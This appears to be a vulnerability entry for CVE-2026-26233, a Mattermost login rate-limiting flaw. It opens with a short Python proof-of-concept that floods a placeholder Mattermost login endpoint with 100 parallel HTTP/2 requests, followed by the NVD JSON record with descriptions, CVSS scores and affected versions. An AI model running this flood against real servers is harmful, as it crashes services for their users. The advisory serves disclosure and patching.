CVE-2026-26233

# PoC Concept: HTTP/2 Multiplexing Attack # Requires httpx library: pip install httpx import httpx import asyncio async def send_h2_attack(target_url): # Use HTTP/2 with async client async with httpx.AsyncClient(http2=True) as client: # Prepare login payloads (dummy data) payload = {"login_id": "attacker", "password": "wrong"} # Generate 100+ parallel requests tasks = [client.post(target_url, json=payload) for _ in range(100)] # Send in a single packet (multiplexed) responses = await asyncio.gather(*tasks) print(f"Sent {len(responses)} requests via HTTP/2") if __name__ == "__main__": target = "https://target-mattermost.com/api/v4/users/login" asyncio.run(send_h2_attack(target))

{"cve": {"id": "CVE-2026-26233", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:53.143", "lastModified": "2026-03-26T18:52:31.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.4.x <= 11.4.0, 11.3.x <= 11.3.1, 11.2.x <= 11.2.3, 10.11.x <= 10.11.11 fail to rate limit login requests which allows unauthenticated remote attackers to cause denial of service (server crash and restart) via HTTP/2 single packet attack with 100+ parallel login requests.. Mattermost Advisory ID: MMSA-2025-00566"}, {"lang": "es", "value": "Las versiones de Mattermost 11.4.x &lt;= 11.4.0, 11.3.x &lt;= 11.3.1, 11.2.x &lt;= 11.2.3, 10.11.x &lt;= 10.11.11 no aplican límite de tasa a las solicitudes de inicio de sesión, lo que permite a atacantes remotos no autenticados causar denegación de servicio (caída y reinicio del servidor) mediante un ataque de paquete único HTTP/2 con más de 100 solicitudes de inicio de sesión paralelas. ID de Aviso de Mattermost: MMSA-2025-00566"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.12", "matchCriteriaId": "D144BD1D-F65C-498D-BC8A-F3D718F47F4B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.4", "matchCriteriaId": "2E3E9B61-F003-45E4-9A04-8015A5CB8558"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.2", "matchCriteriaId": "805ECFFC-82FD-4754-AF95-32167E1D41CB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.4.0", "versionEndExcluding": "11.4.1", "matchCriteriaId": "839BC7B7-28DF-4125-937A-8B0D2D6893C2"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}